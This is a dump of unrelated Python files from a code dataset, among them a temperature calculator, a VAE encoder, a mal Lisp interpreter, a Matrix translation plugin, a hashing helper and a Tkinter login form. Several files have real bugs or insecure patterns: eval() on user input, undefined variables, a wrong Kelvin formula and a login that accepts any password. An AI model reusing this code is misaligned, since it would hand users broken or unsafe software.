ContentFile\n\n\n@shared_task\ndef modify_picture(id_picture, ext):\n try:\n pic = Picture.objects.get(pk=id_picture)\n image = Image.open(pic.image)\n image.thumbnail((20, 20))\n with BytesIO() as temp_image:\n image.save(temp_image, format=ext)\n temp_image.seek(0)\n final_name = pic.name + \"_mini.\" + ext\n pic.modified_img.save(final_name,\n ContentFile(temp_image.read()))\n except Exception as e:\n raise e\n\n","sub_path":"main/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"380529621","text":"__author__ = 'manuh'\n#Calculadora de Temperaturas Fº, Cº, Kº\n#V0.2\n#Escria por Emmanuel Jiménez\n\nprint(\"Bienvenid@ a la Calculadora de Temperatura. Tienes tres opciones de temperatura: \"\n \"'Celsios, 'Kelvin', 'Fareneheirt', si estas temperaturas no son las que buscas\"\n \"puedes typear 'exit' y salir del programa\")\n\ndef calcTemp():\n seleccion = input('Select type of conversion: \\n\\na)\"Celsios a Farenheit\" or \\n\\nb)\"Celsios a Kelvin\" or \\n\\nc)\"Farenheit a Celsios\" or \\n\\nd)\"Farenheit a Kelvin\" or \\n\\ne)\"Kelvin a Celsios\" or \\n\\nf)\"Kelvin a Farenheit\" \\n\\nEnter Here:')\n '\"Kelvin a Celsios\" o \\n\\nf)\"Kelvin a Farenheit\" \\n\\n Introduce cual:'\n if seleccion == (\"Celsios a Farenheit\") or seleccion == (\"celsios a farenheit\") or seleccion == (\"CELSIOS a FARENHEIT\"):\n c_f = eval(input(\"\\nIntroduce la temperatura en Celsios para encontrar Farenheit:\"))\n print ((1.8 * c_f) + 32)\n elif seleccion == (\"Celsios a Kelvin\") or seleccion == (\"celsios a kelvin\") or seleccion == (\"CELSIOS a KELVIN\"):\n c_k = eval(input(\"\\nIntroduce los Celsios para encontrar Kelvin:\"))\n print(c_k + 273)\n elif seleccion == (\"Farenheit a Celsios\") or seleccion == (\"farenheit a celsios\") or seleccion == (\"FARENHEIT a CELSIOS\"):\n f_c = eval(input(\"\\nIntroduce los Farenheit para encontrar Celsios:\"))\n print((f_c - 32) *(5/9))\n elif seleccion == (\"Farenheit a Kelvin\") or seleccion == (\"farenheit a kelvin\") or seleccion == (\"FARENHEIT a KELVIN\"):\n f_k = eval(input(\"\\nIntroduce los Farenheit para encontrar Kelvin:\"))\n print((5/9 * (f_k - 32) +273))\n elif seleccion == (\"Kelvin a Celsios\") or seleccion == (\"kelvin a celsios\") or seleccion == (\"KELVIN a CELSIOS\"):\n k_c = eval(input(\"\\nIntroduce los Kelvin para encontrar Celsios:\"))\n print(((k_f - 273) *1.8) +32)\n elif seleccion == (''):\n print(\"Por favor, selecciona una temperatura para poder calcularla.\")\n calcTemp()\n elif seleccion == (\"Exit\") or seleccion == (\"exit\") or seleccion == (\"EXIT\"):\n exit()\n else:\n print(\"Por favor, mira tu escritura y entre tu opcion de conversión\")\n calcTemp()\n\ncalcTemp()\n\ndef cicloTemp():\n reiniciarScript = input(\"¿Te gustaria calcular otra temperatura\")\n while reiniciarScript == (\"Si\") or reiniciarScript == (\"si\") or reiniciarScript == (\"SI\"):\n return calcTemp()\n while reiniciarScript != (\"Si\") or reiniciarScript != (\"si\") or reiniciarScript != (\"SI\"):\n print(\"Haz tu decisión de nuevo, este script es fabuloso\")\n calcTemp()\n else:\n while reiniciarScript == (\"No\") or reiniciarScript == (\"no\") or reiniciarScript == (\"NO\"):\n print(\"Gracias por usar esta calculadora, me costó pero funcionó!\")\n exit()\n\nwhile True:\n cicloTemp()\n","sub_path":"calculadoraTemperatura/calculadoraTemperatura.py","file_name":"calculadoraTemperatura.py","file_ext":"py","file_size_in_byte":2822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"215753124","text":"import tensorflow as tf\nfrom tensorflow.examples.tutorials.mnist import input_data\nimport numpy as np\nfrom initialization import xavier_glorot_initialization\n\nclass VariationalAutoencoder():\n\n def __init__(self,\n input_dim,\n latent_dim,\n hidden_dim=10,\n dataset = 'MNIST',\n batch_size=100,\n activation_func=tf.nn.relu,\n output_activation_func=tf.nn.sigmoid):\n self.graph = tf.Graph()\n self.activation_func = activation_func\n self.output_activation_func = output_activation_func\n self.input_dim = input_dim\n self.batch_size = batch_size\n self.hidden_dim = hidden_dim\n if dataset == 'MNIST':\n self.mnist = input_data.read_data_sets(\"MNIST_data/\")\n else:\n print(\"Only accepting mnist data for now\")\n self.x_train = self.mnist.train.images[:55000, :]\n\n def conv2d(self, x, W, strides=[1, 1, 1, 1]):\n return tf.nn.conv2d(x, W, strides, padding='SAME')\n\n def max_pool_2x2(self, x):\n return tf.nn.max_pool(x, ksize=[1, 2, 2, 1],\n strides=[1, 2, 2, 1], padding='SAME')\n\n def build_encoder(self, input_image, reuse = False):\n if (reuse):\n tf.get_variable_scope().reuse_variables()\n # First convolutional layer with elu activation\n W_conv1 = tf.get_variable('en_wconv1', [2, 2, 1, 8], initializer=tf.truncated_normal_initializer(stddev=0.02))\n b_conv1 = tf.get_variable('en_bconv1', [8], initializer=tf.constant_initializer(0))\n h_conv1 = tf.nn.elu(self.conv2d(input_image, W_conv1, strides=[2, 2, 2, 2]) + b_conv1)\n\n # Second convolutional layer with elu activation\n W_conv2 = tf.get_variable('en_wconv2', [2, 2, 8, 16], initializer=tf.truncated_normal_initializer(stddev=0.02))\n b_conv2 = tf.get_variable('en_bconv2', [16], initializer=tf.constant_initializer(0))\n h_conv2 = tf.nn.elu(self.conv2d(h_conv1, W_conv2) + b_conv2)\n\n # First batch normalization and pooling layer\n norm1 = tf.nn.lrn(h_conv2, 4, bias=1.0, alpha=0.001 / 9.0, beta=0.75, name='norm2')\n h_pool2 = self.max_pool_2x2(norm1)\n\n # Third convolutional layer with elu activation, will try relu later as well\n W_conv3 = tf.get_variable('en_conv3', [3, 3, 16, 32], initializer=tf.truncated_normal_initializer(stddev=0.02))\n b_conv3 = tf.get_variable('en_bconv3', [32], initializer=tf.constant_initializer(0))\n h_conv3 = tf.nn.elu(self.conv2d(h_pool2, W_conv3) + b_conv3)\n\n # Fourth convolutional layer with elu activation\n W_conv4 = tf.get_variable('en_conv4', [3, 3, 32, 64], initializer=tf.truncated_normal_initializer(stddev=0.02))\n b_conv4 = tf.get_variable('en_bconv4', [64], initializer=tf.constant_initializer(0))\n h_conv4 = tf.nn.elu(self.conv2d(h_conv3, W_conv4) + b_conv4)\n\n # Second batch normalization and pooling layer\n norm2 = tf.nn.lrn(h_conv4, 4, bias=1.0, alpha=0.001 / 9.0, beta=0.75, name='norm2')\n h_pool4 = self.max_pool_2x2(norm2)\n\n # First fully connected layer\n W_fc1 = tf.get_variable('d_wfc1', [4 * 4 * 64, self.hidden_dim * 100], initializer=tf.truncated_normal_initializer(stddev=0.02))\n b_fc1 = tf.get_variable('d_bfc1', [32], initializer=tf.constant_initializer(0))\n h_pool2_flat = tf.reshape(h_pool2, [-1, 4 * 4 * 16])\n h_fc1 = tf.nn.relu(tf.matmul(h_pool2_flat, W_fc1) + b_fc1)\n\n # Second fully connected layer to get the dimensions of the hidden to 10\n # This will be split up in mean and variance\n\n\n","sub_path":"vae.py","file_name":"vae.py","file_ext":"py","file_size_in_byte":3662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"237757507","text":"import argparse\nimport mal_readline # noqa: side effect import\nfrom reader import read_str\nfrom printer import pr_str\nfrom mal_types import (\n is_vector, make_vector,\n is_hashmap, make_hashmap_from_pydict, items,\n is_list, make_list, is_empty,\n is_symbol, make_symbol,\n first, rest, FALSE, is_nil, is_bool,\n make_function, is_mal_function\n)\nfrom env import Env\nfrom core import namespace\n\n# setup env step 1\nrepl_env = Env()\nfor symbol, value in namespace.items():\n repl_env.set(symbol, value)\n\n\ndef eval_ast(ast, env):\n if is_vector(ast):\n return make_vector(EVAL(elem, env) for elem in ast)\n if is_hashmap(ast):\n return make_hashmap_from_pydict(\n {key: EVAL(value, env) for key, value in items(ast)}\n )\n if is_symbol(ast):\n return env.get(ast)\n elif is_list(ast):\n return make_list(EVAL(elem, env) for elem in ast)\n else:\n return ast\n\n\ndef READ(str_):\n \"\"\"\n Make mal instructions from string.\n \"\"\"\n return read_str(str_)\n\n\ndef EVAL(ast, env):\n \"\"\"\n Evaluate set of mal instructions.\n \"\"\"\n while True:\n if not is_list(ast):\n return eval_ast(ast, env)\n elif is_empty(ast):\n return ast\n\n elif first(ast) == make_symbol('def!'):\n try:\n operands = rest(ast)\n symbol = first(operands)\n value = EVAL(first(rest(operands)), env)\n except ValueError:\n raise RuntimeError('def! syntax is (def! /symbol/ /value/)')\n env.set(symbol, value)\n return value\n\n elif first(ast) == make_symbol('let*'):\n let_error = RuntimeError('let* syntax is (let* /list_of definitions/ /list_of_instructions/)') # noqa\n new_env = Env(env)\n try:\n operands = rest(ast)\n definitions, instructions = operands\n except Exception:\n raise let_error\n if len(definitions) % 2 != 0:\n raise let_error\n symbol_value_pairs = list(zip(\n definitions[0::2],\n definitions[1::2],\n ))\n for symb, value in symbol_value_pairs:\n new_env.set(symb, EVAL(value, new_env))\n ast = instructions\n env = new_env\n continue\n\n elif first(ast) == make_symbol('if'):\n elements = rest(ast)\n condition = first(elements)\n true_branch = first(rest(elements))\n false_branch = first(rest(rest(elements)))\n condition = EVAL(condition, env)\n # empty lists, strings and 0 are 'truthy', only false and nil are 'falsy'\n if is_nil(condition) or is_bool(condition) and condition == FALSE:\n ast = false_branch\n else:\n ast = true_branch\n continue\n\n elif first(ast) == make_symbol('fn*'):\n try:\n op, binds, body = ast\n except ValueError:\n raise RuntimeError('fn* syntax us (fn* /arguments/ /function_body/)') # noqa\n\n def closure(*arguments):\n try:\n new_env = Env(outer=env, binds=binds, exprs=arguments)\n except ValueError:\n raise RuntimeError(\n 'Error: function is called with wrong number of parameters'\n f'expected: {len(binds.value)}, actual: {len(arguments)}'\n )\n return EVAL(body, new_env)\n\n return make_function(body, binds, env, closure)\n\n elif first(ast) == make_symbol('do'):\n op, *exprs = ast\n for expr in exprs[:-1]:\n EVAL(expr, env)\n ast = exprs[-1]\n continue\n\n func, *args = eval_ast(ast, env)\n if not is_mal_function(func):\n # core function\n return func(*args)\n ast = func.ast\n env = Env(func.env, func.params, args)\n\n\ndef PRINT(mal_type):\n \"\"\"\n Convert result of mal instructions into string representation.\n \"\"\"\n return pr_str(mal_type)\n\n\ndef eval_(ast):\n return EVAL(ast, repl_env)\n\n\ndef rep(arg):\n return PRINT(EVAL(READ(arg), repl_env))\n\n\n# setup env step 2\nrepl_env.set(make_symbol('eval'), eval_)\nrep(\"(def! not (fn* (a) (if a false true)))\")\nrep(\"\"\"(def! load-file (fn* (f) (eval (read-string (str \"(do \" (slurp f) \"\\nnil)\")))))\"\"\")\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-i', '--interactive', action='store_true')\nparser.add_argument('filename', nargs='?', help='Filename to be executed')\nparser.add_argument('prog_args', nargs='*', help='Arguments passed to program')\nargs = parser.parse_args()\n\n\nif __name__ == '__main__':\n arg_to_str = lambda arg: f'\"{arg}\"'\n rep(f'(def! *ARGV* {\"(list \" + \" \".join(arg_to_str(arg) for arg in args.prog_args) + \")\" })')\n if args.filename is not None:\n rep(f'(def! *FILENAME* \"{args.filename}\")')\n rep('(load-file *FILENAME*)')\n if not args.interactive:\n exit(0)\n while True:\n inp = input('user> ')\n try:\n res = rep(inp)\n except Exception as e:\n print(e)\n else:\n print(res)\n","sub_path":"step6_file.py","file_name":"step6_file.py","file_ext":"py","file_size_in_byte":5271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"175145328","text":"# https://leetcode.com/problems/reverse-words-in-a-string-iii/submissions/\n# Given a string, you need to reverse the order of characters in each word within a sentence \n# while still preserving whitespace and initial word order.\n\nclass Solution:\n def reverseWords(self, s: str) -> str:\n org = s.split()\n reverse = []\n for el in org:\n reverse.append(el[::-1])\n return \" \".join(reverse)\n\nif __name__==\"__main__\":\n obj = Solution()\n param_1 = obj.reverseWords(\"Let's take LeetCode contest\")\n print(param_1)","sub_path":"leetcode/557_ReverseWordsinaStringIII.py","file_name":"557_ReverseWordsinaStringIII.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"325043695","text":"import manga.message as message\nfrom manga.vizmedia import read_manga_html\nimport datetime\nimport os\n\nVIZ_MANGA_I_WANT = ['my-hero-academia', 'my-hero-academia-vigilantes']\nsender_num = os.environ['SENDER_NUM']\nmy_num = os.environ['MY_NUM']\n\n\ndef send_manga():\n body = ''\n for manga in VIZ_MANGA_I_WANT:\n update = read_manga_html(manga)\n \n if update != '':\n body = body + '\\n\\n' + update\n \n if body != '':\n message.send_message(my_num, sender_num, body)\n\nif __name__ == \"__main__\":\n send_manga()","sub_path":"manga/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"242766533","text":"from architect import MLArchitect\nfrom config import CONFIG\nfrom utils import set_tf_gpu, load_data, split_sequence\n\nimport keras\n\n\ndef create_fit_model(window, columns_to_predict, columns_indicators, normalize_data=True, exchange=\"huobi\"):\n set_tf_gpu(False)\n exchange_data, columns_equivalences = load_data(exchange=exchange)\n arc = MLArchitect(x_data=exchange_data, y_data=None, is_x_flat=True, save_x_path=\"saved_data/x.csv\",\n display_indicators_callable=True, data_enhancement=True,\n columns_equivalences=columns_equivalences, save_normalize_x_model=\"saved_data/x_norm_model.mod\",\n save_normalize_y_model=\"saved_data/y_norm_model.mod\", save_y_path=\"saved_data/y.csv\",\n y_restoration_routine=\"default\", index_infer_datetime_format=True, pca_reductions=[('linear', 0.99)],\n columns_to_predict=columns_to_predict, window_prediction=window,\n columns_indicators=columns_indicators, test_size=0.01, ml_model=None,\n save_ml_path=\"models/ml_model.h5\", is_parallel=False, disgard_last=True,\n window_tuple=(7, 14, 21, 6))\n\n # arc = MLArchitect(x_data=\"saved_data/x.csv\", y_data=\"saved_data/y.csv\",\n # learning_indicators_callable=None, display_indicators_callable=None,\n # normalize_x_callable=\"saved_data/x_norm_model.mod\",\n # normalize_y_callable=\"saved_data/y_norm_model.mod\",\n # index_col='id', pca_reductions=[('linear', 0.99)],\n # window_prediction=4, test_size=0.20)\n\n if normalize_data:\n x, y = arc.get_normalized_data(arc.x, arc.y, None, arc.index_min, arc.index_max)\n else:\n x, y = arc.x.loc[arc.index_min:arc.index_max], arc.y.loc[arc.index_min:arc.index_max]\n\n n_steps_in, n_steps_out = 3, None\n n_shape, n = x.shape, 10\n\n x_train, y_train = split_sequence(x.iloc[:-n].values, y.iloc[:-n].values, n_steps_in, n_steps_out)\n x_test, y_test = split_sequence(x.iloc[-n:].values, y.iloc[-n:].values, n_steps_in, n_steps_out)\n\n # Init the ML model\n n_input, n_features, n_output, n_init_neurons = x.shape[1], x.shape[1], y_train.shape[1], 100\n\n # n_seq = 2\n # n_steps_in = int(n_steps_in / n_seq)\n # x_train = x_train.reshape((x_train.shape[0], n_seq, n_steps_in, n_features))\n # x_test = x_test.reshape((x_test.shape[0], n_seq, n_steps_in, n_features))\n\n ml_model = MLArchitect.keras_build_model(0, 0, 0, n_input, n_output, n_steps_in, n_steps_out, n_features,\n n_init_neurons)\n ml_model.summary()\n\n arc.ml_init_model(ml_model)\n\n # Fit the model\n prefit_sample_data = exchange_data.loc[exchange_data.index[-500:], ['close', 'open', 'high', 'low']]\n history = arc.fit(x=x_train, y=y_train,\n epochs=10000, batch_size=50, verbose=1, shuffle=True, validation_split=0.2,\n prefit_sample_data=prefit_sample_data, prefit_simulation_size=10000,\n callbacks=[keras.callbacks.EarlyStopping('loss', min_delta=1e-5, patience=200,\n verbose=1, restore_best_weights=True),\n keras.callbacks.ModelCheckpoint(\"models/best_model_2.h5\", monitor='keras_r2_score',\n verbose=1, save_best_only=True, mode='max')])\n\n err_res = dict(zip(ml_model.metrics_names, ml_model.evaluate(x_test, y_test)))\n y_pred = arc.norm_output_inverse_transform(ml_model.predict(x_test)) if normalize_data else ml_model.predict(x_test)\n\n mde = arc.mean_directional_accuracy(y_test, y_pred.values)\n mae = arc.mean_absolute_error(y_test, y_pred.values)\n err_res.update({'mean_directional_accuracy': mde, 'mean_absolute_error': mae})\n print(err_res)\n\n return arc, exchange_data\n\n\n\n\n\n\n","sub_path":"learninglogic.py","file_name":"learninglogic.py","file_ext":"py","file_size_in_byte":3973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"180559727","text":"# -*- coding: utf8 -*-\nfrom plugin import Plugin\nfrom chat_functions import send_text_to_room\nfrom nio import AsyncClient\n\nimport os.path\nimport pickle\nfrom re import sub\n\nfrom typing import List\n\nimport logging\nlogger = logging.getLogger(__name__)\n\ntry:\n import googletrans\nexcept ImportError as err:\n logger.fatal(f\"Module {err.name} not found\")\n raise ImportError(name=\"translate\")\n\nallowed_rooms: List = [\"!hIWWJKHWQMUcrVPRqW:pack.rocks\", \"!iAxDarGKqYCIKvNSgu:pack.rocks\"]\ndefault_source: List = ['any']\ndefault_dest: str = 'en'\ndefault_bidirectional: bool = False\nroomsfile: str = os.path.join(os.path.dirname(__file__), os.path.basename(__file__)[:-3] + \".pickle\")\npower_level: int = 50\n\n\"\"\"\nroomsdb = {\n room_id: {\n \"source_langs\": ['any']\n \"dest_lang\": 'en'\n \"bidirectional\": False\n }\n}\n\"\"\"\n\n\nasync def switch(command):\n \"\"\"Switch translation for room-messages on or off\n\n Args:\n command (bot_commands.Command): Command used to trigger this method\n\n \"\"\"\n\n try:\n roomsdb: dict = pickle.load(open(roomsfile, \"rb\"))\n enabled_rooms_list: list = roomsdb.keys()\n except FileNotFoundError:\n roomsdb: dict = {}\n enabled_rooms_list: list = []\n\n if len(command.args) == 0:\n source_langs: list = default_source\n dest_lang: str = default_dest\n bidirectional: bool = default_bidirectional\n else:\n try:\n if command.args[0] == 'bi':\n bidirectional = True\n source_langs = [command.args[1]]\n dest_lang = command.args[2]\n else:\n bidirectional = False\n source_langs = command.args[:-1]\n dest_lang = command.args[-1]\n except IndexError:\n await send_text_to_room(command.client, command.room.room_id, \"Syntax: `!translate [[bi] source_lang... dest_lang]`\")\n return False\n\n if command.room.room_id in enabled_rooms_list:\n del roomsdb[command.room.room_id]\n pickle.dump(roomsdb, (open(roomsfile, \"wb\")))\n await send_text_to_room(command.client, command.room.room_id, \"Translations disabled\", notice=False)\n elif command.room.room_id in allowed_rooms:\n if dest_lang in googletrans.LANGUAGES.keys():\n if source_langs == ['any'] or all(elem in googletrans.LANGUAGES.keys() for elem in source_langs):\n roomsdb[command.room.room_id] = {\"source_langs\": source_langs, \"dest_lang\": dest_lang, \"bidirectional\": bidirectional}\n pickle.dump(roomsdb, (open(roomsfile, \"wb\")))\n\n if bidirectional:\n message = \"Bidirectional translations (\" + source_langs[0] + \"<=>\" + dest_lang + \") enabled - \" \\\n \"**ATTENTION**: *ALL* future messages in this room will be sent to Google\"\n else:\n source_langs_str = str(source_langs)\n message = \"Unidirectional translations (\" + source_langs_str + \"=>\" + dest_lang + \") enabled - \" \\\n \"**ATTENTION**: *ALL* future messages in this room will be sent to Google\"\n await send_text_to_room(command.client, command.room.room_id, message, notice=False)\n\n\nasync def translate(client: AsyncClient, room_id: str, message: str):\n\n try:\n roomsdb = pickle.load(open(roomsfile, \"rb\"))\n except FileNotFoundError:\n roomsdb = {}\n\n if room_id in allowed_rooms and room_id in roomsdb.keys():\n # Remove special characters before translation\n message = sub('[^A-z0-9\\-\\.\\?!:\\sÄäÜüÖö]+', '', message)\n trans = googletrans.Translator()\n logger.debug(f\"Detecting language for message: {message}\")\n message_source_lang = trans.detect(message).lang\n if roomsdb[room_id][\"bidirectional\"]:\n languages = [roomsdb[room_id][\"source_langs\"][0], roomsdb[room_id[\"dest_lang\"]]]\n if message_source_lang in languages:\n # there has to be a simpler way, but my brain is tired\n dest_lang = set(languages).difference([message_source_lang])\n if len(dest_lang) == 1:\n dest_lang = dest_lang.pop()\n translated = trans.translate(message, dest=dest_lang).text\n await send_text_to_room(client, room_id, translated)\n else:\n if message_source_lang != roomsdb[room_id][\"dest_lang\"] and (roomsdb[room_id][\"source_langs\"] == ['any'] or message_source_lang in roomsdb[room_id][\"source_langs\"]):\n translated = trans.translate(message, dest=roomsdb[room_id][\"dest_lang\"]).text\n await send_text_to_room(client, room_id, translated)\n\n\nplugin = Plugin(\"translate\", \"General\", \"Provide near-realtime translations of all room-messages via Google Translate\")\nplugin.add_command(\"translate\", switch, \"`translate [[bi] source_lang... dest_lang]` - translate text from \"\n \"one or more source_lang to dest_lang\", room_id=allowed_rooms, power_level=power_level)\nplugin.add_hook(\"m.room.message\", translate, room_id=allowed_rooms)\n","sub_path":"plugins/translate/translate.py","file_name":"translate.py","file_ext":"py","file_size_in_byte":5290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"13149392","text":"import hashlib, binascii\n\ndef string_blender(input):\n\th = hashlib.new('sha512')\n\tsalt = \"hq46h (dawhhsdd###rDWAs&*\"\n\th.update(bytes(input, 'utf-8'))\n\th.update(bytes(salt, 'utf-8'))\n\treturn h.hexdigest()\n\n\ndef hashstring(input, hashtype='sha512', salt='GD&W*O', rotations=5000):\n rots = 1\n result = ''\n\n if rotations > 5000:\n rotations = 10\n\n while rots < rotations: \n h = hashlib.new(hashtype)\n if rots == 1:\n h.update(bytes(input, 'utf-8'))\n else:\n h.update(bytes(result, 'utf-8'))\n h.update(bytes(salt, 'utf-8'))\n result = h.hexdigest()\n rots += 1\n #print(result)\n return result, rots, salt, hashtype\n\n\n\nif __name__ == '__main__':\n\t#print('hashing tests')\n\t#print(string_blender(\"lol\"))\n hash_string(\"test\")","sub_path":"bll/libs/hashing.py","file_name":"hashing.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"122079948","text":"from graphics import egi, KEY\nfrom pyglet import window, clock\nfrom pyglet.gl import *\n\nfrom vector2d import Vector2D\nfrom world import World\nfrom agent import Agent\nfrom random import choice\nfrom projectile import Projectile\nfrom asteroid import Asteroid\n\ndef on_key_press(symbol, modifiers):\n\tif symbol == KEY.P:\n\t\tworld.paused = not world.paused\n\telif symbol == KEY.A:\n\t\tworld.asteroids.append(Asteroid(world))\n\telif symbol == KEY.I:\n\t\tworld.agent.show_info = not world.agent.show_info\n\telif symbol == KEY.Q:\n\t\tworld.agent.attack()\n\ndef on_resize(cx, cy):\n\tworld.cx = cx\n\tworld.cy = cy\n\nif __name__ == '__main__':\n\t# create a pyglet window and set glOptions\n\twin = window.Window(width=500, height=500, vsync=True, resizable=True)\n\tglEnable(GL_BLEND)\n\tglBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA)\n\t# needed so that egi knows where to draw\n\tegi.InitWithPyglet(win)\n\t# prep the fps display\n\tfps_display = clock.ClockDisplay()\n\t# register key and mouse event handlers\n\twin.push_handlers(on_key_press)\n\twin.push_handlers(on_resize)\n\n\tworld = World(500, 500)\n\n\tworld.agent = Agent(world, 15.0, 1.0, 'chill')\n\n\t# unpause the world ready for movement\n\tworld.paused = False\n\n\twhile not win.has_exit:\n\t\twin.dispatch_events()\n\t\tglClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\n\t\t# show nice FPS bottom right (default)\n\t\tdelta = clock.tick()\n\t\tworld.update(delta)\n\t\tworld.render(\"\")\n\t\tfps_display.draw()\n\t\t# swap the double buffer\n\t\twin.flip()\n\n\t\t# FSM\n\t\t# if world.agent.health < 100:\n\t\t# \tworld.agent.seek_health = True\n\t\t# else:\n\t\t# \tworld.agent.seek_health = False","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"596912336","text":"# 장미 n개 선물\nn,a,b,c,d = list(map(int,input().split()))\nans=0\nbuy=0\nmore_buy=0\nif (n//a)*b<(n//c)*d:\n buy=n//a*a\n more_buy = n%a\n ans+=(n//a)*b\nelse:\n buy=n//c*c\n more_buy=n%c\n ans+=(n//c)*d\nprint(ans)\n","sub_path":"Algorithm/for_study/TH 3343.py","file_name":"TH 3343.py","file_ext":"py","file_size_in_byte":228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"388493012","text":"\nimport sys\nfrom SecondPage_support import *\n\ntry:\n import Tkinter as tk\nexcept ImportError:\n import tkinter as tk\ntry:\n import ttk\n py3 = False\nexcept ImportError:\n import tkinter.ttk as ttk\n py3 = True\n\nimport Login_support\n\ndef vp_start_gui():\n '''Starting point when module is the main routine.'''\n global val, w, root\n root = tk.Tk()\n top = Toplevel1 (root)\n Login_support.init(root, top)\n root.mainloop()\n\nw = None\ndef create_Toplevel1(root, *args, **kwargs):\n '''Starting point when module is imported by another program.'''\n global w, w_win, rt\n rt = root\n w = tk.Toplevel (root)\n top = Toplevel1 (w)\n Login_support.init(w, top, *args, **kwargs)\n return (w, top)\n\ndef destroy_Toplevel1():\n global w\n w.destroy()\n w = None\n\nclass Toplevel1:\n\n def loginuser(self):\n import SecondPage\n import dbconnector\n global top_level\n name = self.Entry1.get()\n passwd = self.Entry2.get()\n if name != '' and passwd != '':\n Login_support.callsecondpage()\n dbpasswd = dbconnector.readlogin(name)\n '''\n if dbpasswd == 'abcd':\n Login_support.callsecondpage()\n else:\n print('wrong User Name or password') '''\n\n def __init__(self, top=None):\n '''This class configures and populates the toplevel window.\n top is the toplevel containing window.'''\n _bgcolor = '#d9d9d9' # X11 color: 'gray85'\n _fgcolor = '#000000' # X11 color: 'black'\n _compcolor = '#d9d9d9' # X11 color: 'gray85'\n _ana1color = '#d9d9d9' # X11 color: 'gray85'\n _ana2color = '#ececec' # Closest X11 color: 'gray92'\n font9 = \"-family {Segoe UI} -size 13 -weight bold -slant roman\" \\\n \" -underline 0 -overstrike 0\"\n\n top.geometry(\"1530x790+0+0\")\n top.title(\"New Toplevel\")\n top.configure(background=\"#d9d9d9\")\n top.configure(highlightbackground=\"#d9d9d9\")\n top.configure(highlightcolor=\"black\")\n top.attributes(\"-fullscreen\", True)\n\n self.Frame1 = tk.Frame(top)\n self.Frame1.place(relx=0.0, rely=0.0, relheight=1.0, relwidth=1.0)\n self.Frame1.configure(relief='groove')\n self.Frame1.configure(borderwidth=\"2\")\n self.Frame1.configure(relief=\"groove\")\n self.Frame1.configure(background=\"#8bd68b\")\n self.Frame1.configure(highlightbackground=\"#d9d9d9\")\n self.Frame1.configure(highlightcolor=\"black\")\n self.Frame1.configure(width=125)\n\n self.Frame2 = tk.Frame(self.Frame1)\n self.Frame2.place(relx=0.0, rely=0.0, relheight=1.002, relwidth=0.281)\n self.Frame2.configure(relief='groove')\n self.Frame2.configure(borderwidth=\"2\")\n self.Frame2.configure(relief=\"groove\")\n self.Frame2.configure(background=\"#54bed8\")\n self.Frame2.configure(highlightbackground=\"#d9d9d9\")\n self.Frame2.configure(highlightcolor=\"black\")\n self.Frame2.configure(width=375)\n\n self.Label1 = tk.Label(self.Frame2)\n self.Label1.place(relx=0.0, rely=0.0, height=36, width=425)\n self.Label1.configure(activebackground=\"#f9f9f9\")\n self.Label1.configure(activeforeground=\"black\")\n self.Label1.configure(background=\"#ad63d8\")\n self.Label1.configure(disabledforeground=\"#a3a3a3\")\n self.Label1.configure(font=font9)\n self.Label1.configure(foreground=\"#000000\")\n self.Label1.configure(highlightbackground=\"#d9d9d9\")\n self.Label1.configure(highlightcolor=\"black\")\n self.Label1.configure(text='''User Name''')\n\n self.Entry1 = tk.Entry(self.Frame2)\n self.Entry1.place(relx=0.0, rely=0.071,height=35, relwidth=1.0)\n self.Entry1.configure(background=\"white\")\n self.Entry1.configure(disabledforeground=\"#a3a3a3\")\n self.Entry1.configure(font=\"TkFixedFont\")\n self.Entry1.configure(foreground=\"#000000\")\n self.Entry1.configure(highlightbackground=\"#d9d9d9\")\n self.Entry1.configure(highlightcolor=\"black\")\n self.Entry1.configure(insertbackground=\"black\")\n self.Entry1.configure(selectbackground=\"#c4c4c4\")\n self.Entry1.configure(selectforeground=\"black\")\n\n self.Label2 = tk.Label(self.Frame2)\n self.Label2.place(relx=0.0, rely=0.142, height=36, width=425)\n self.Label2.configure(activebackground=\"#f9f9f9\")\n self.Label2.configure(activeforeground=\"black\")\n self.Label2.configure(background=\"#ad63d8\")\n self.Label2.configure(disabledforeground=\"#a3a3a3\")\n self.Label2.configure(font=font9)\n self.Label2.configure(foreground=\"#000000\")\n self.Label2.configure(highlightbackground=\"#d9d9d9\")\n self.Label2.configure(highlightcolor=\"black\")\n self.Label2.configure(text='''Password''')\n\n self.Entry2 = tk.Entry(self.Frame2)\n self.Entry2.place(relx=0.0, rely=0.204,height=40, relwidth=1.0)\n self.Entry2.configure(background=\"white\")\n self.Entry2.configure(disabledforeground=\"#a3a3a3\")\n self.Entry2.configure(font=\"TkFixedFont\")\n self.Entry2.configure(foreground=\"#000000\")\n self.Entry2.configure(highlightbackground=\"#d9d9d9\")\n self.Entry2.configure(highlightcolor=\"black\")\n self.Entry2.configure(insertbackground=\"black\")\n self.Entry2.configure(selectbackground=\"#c4c4c4\")\n self.Entry2.configure(selectforeground=\"black\")\n self.Entry2.configure(show=\"*\")\n\n self.Button1 = tk.Button(self.Frame2)\n self.Button1.place(relx=0.267, rely=0.389, 